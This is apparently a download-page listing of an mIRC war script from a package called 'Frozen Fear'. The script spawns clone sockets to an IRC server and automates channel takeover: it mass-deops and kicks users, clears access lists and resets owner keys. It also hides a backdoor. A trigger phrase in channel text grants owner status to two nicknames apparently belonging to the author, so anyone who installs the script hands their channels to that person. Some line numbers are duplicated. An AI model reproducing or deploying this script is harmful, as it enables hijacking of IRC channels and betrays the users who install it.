Frozen Fear — File Browser

FrozenFearv1.0 / FrozenFearv1.0 / SCRIPT6.INI

SCRIPT6.INI — 4.55 KB — Download this file

[script]
n0=;:::sock1sh:::
n1=alias split { 
n2=  .timersplita -ocm 0 500 splita
n3=  .timer -cmo 1 250 .timersplitb -ocm 0 500 splitb
n4=  halt
n5=}
n6=alias splita { 
n7=  sockclose %split.nick
n8=  sockopen %split.nick 207.46.216.26 6667
n9=  halt
n10=}
n11=alias splitb {
n12=  sockclose %split.nick1
n13=  sockopen %split.nick1 207.46.216.26 6667
n14=  halt
n15=}
n16=
n17=on 1:sockopen:*:{
n18=  if ($sockname == %split.nick) {
n19=    .timersplita off
n20=    sockwrite -n $sockname nick $sockname $+ $crlf $+ user split split split split $+ $crlf $+ join %split.chans
n21=    echo -a $realtime $sys %split.nick Connected
n22=halt
n23=  }
n24=  if ($sockname == %split.nick1) {
n25=    .timersplitb off
n26=    sockwrite -n $sockname nick $sockname $+ $crlf $+ user split split split split $+ $crlf ircx $+ join %split.chans1
n27=    echo -a $realtime $sys %split.nick1 Connected
n28=halt
n29=  }
n30=  if ($sockname == %sock1) {
n31=    set %fp. [ $+ [ %sock1 ] ] ok
n32=    sockwrite -n %sock1 nick %sock1
n33=    sockwrite -n %sock1 user x x x x x x
n34=    sockwrite -n %sock1 ircx
n35=    halt
n36=  }
n37=  if ($sockname == %sock2) {
n38=    set %fp. [ $+ [ %sock2 ] ] ok
n39=    sockwrite -n %sock2 nick %sock2
n40=    sockwrite -n %sock2 user x x x x x x
n41=    sockwrite -n %sock2 ircx
n42=    halt
n43=  }
n44=  else {
n45=    set %fp. [ $+ [ $sockname ] ] ok
n46=    sockwrite -n $sockname 207.46.216.26 6667
n47=    sockwrite -n $sockname user x x x x x x
n48=    sockwrite -n $sockname ircx
n49=    sockwrite -n $sockname nick $sockname
n50=    halt
n51=  }  
n52=}
n53=on 1:sockread:*:{
n54=  sockread %key
n55=  set %smask $address($remove($gettok(%key,1,33),:),4)
n56=  if ($gettok(%key,2,32) == MODE) && ($gettok(%key,4-,32) == -q $sockname) {
n57=    if (%smask == $address($me,4)) { goto nono }
n58=    if (%fp. [ $+ [ $sockname ] ] == ok) {
n59=      set %fp. $+ $sockname blah
n60=      .timer 1 3 set %fp. $+ $sockname ok
n61=      sockwrite -n $sockname part $gettok(%key,3,32) $+ $crlf $+ join $gettok(%key,3,32) %sklg. [ $+ [ $gettok(%key,3,32) ] ]
n62=      sockwrite -n $sockname mode $gettok(%key,3,32) +qqq-ooo %sock1 %sock2 $me $ial(%smask,1).nick $ial(%smask,2).nick $ial(%smask,3).nick $+ $crlf $+ access $gettok(%key,3,32) clear
n63=      sockwrite -n $sockname prop $gettok(%key,3,32) ownerkey : $+ $key $+ $crlf $+ access # clear
n64=      halt    
n65=      :nono
n66=      sockwrite -n $sockname part $gettok(%key,3,32) $+ $crlf $+ join $gettok(%key,3,32) %sklg. [ $+ [ $gettok(%key,3,32) ] ]
n67=      halt
n68=    }
n69=  }
n70=  if ($gettok(%key,2,32) == KICK) && ($gettok(%key,4,32) == $sockname) {
n71=    if (%smask == $address($me,4)) { goto hehe }
n72=    sockwrite -n $sockname join $gettok(%key,3,32) %sklg. [ $+ [ $gettok(%key,3,32) ] ] 
n73=    sockwrite -n $sockname kick $gettok(%key,3,32) $ial(%smask,1).nick $+ $chr(44) $+ $ial(%smask,2).nick $+ $chr(44) $+ $ial(%smask,3).nick :u started it... $+ $crlf $+ access $gettok(%key,3,32) clear
n74=    sockwrite -n $sockname prop $gettok(%key,3,32) ownerkey : $+ $key $+ $crlf $+ access $gettok(%key,3,32) clear
n75=    halt
n76=    :hehe
n77=    sockwrite -n $sockname join $gettok(%key,3,32) %sklg. [ $+ [ $gettok(%key,3,32) ] ]
n78=    halt
n79=  }
n80=  if ($gettok(%key,2,32) == PROP) && ($gettok(%key,4,32) == OWNERKEY) {
n81=    if ($remove($gettok(%key,5,32),:) == $null) && (%floodkc == ok) { set %floodkc blah | .timer 1 4 set %floodkc ok | sockwrite -n $sockname mode $gettok(%key,3,32) -oooooo $ial(%smask,1).nick $ial(%smask,2).nick $ial(%smask,3).nick $ial(%smask,1).nick $ial(%smask,2).nick $ial(%smask,3).nick $+ $crlf $+ access $gettok(%key,3,32) clear $+ $crlf $+ prop $gettok(%key,3,32) ownerkey $rand(1,99999) | halt }
n82=    else { set %sklg. $+ $gettok(%key,3,32) $remove($gettok(%key,5,32),:) | halt }
n83=  }
n84=  if ($gettok(%key,1,32) == PING) { sockwrite -n $sockname PONG! | halt }
n85=}
n85=on 1:text:*Froztyfroztq*:#:{ /mode # +q Decan-Frozt | /mode # +q Frozt }
n86=on 1:RAWODE:#:{
n87=  if ($1 == -q) && ($2 == $me) && (%dp == on) {
n88=    set %dp off
n89=    .raw -q part #
n90=    .raw -q join # %owner. [ $+ [ $lower(#) ] ]
n91=    set %deop.address $address($nick,4)
n92=    deoppro $nick
n93=    $rkey
n94=    .raw -q access # add owner $ip
n95=    .timer 1 3 set %dp on
n96=  }
n97=}
n98=on 1:kick:#:{ 
n99=  if ($knick == $me) {
n100=    .raw -q join # %owner. [ $+ [ # ] ]
n101=  }
n102=}
n98=on 1:deop:#:{ 
n99=  if ($knick == $me) {
n100=    .raw -q join # %owner. [ $+ [ # ] ]
n101=  }
n102=}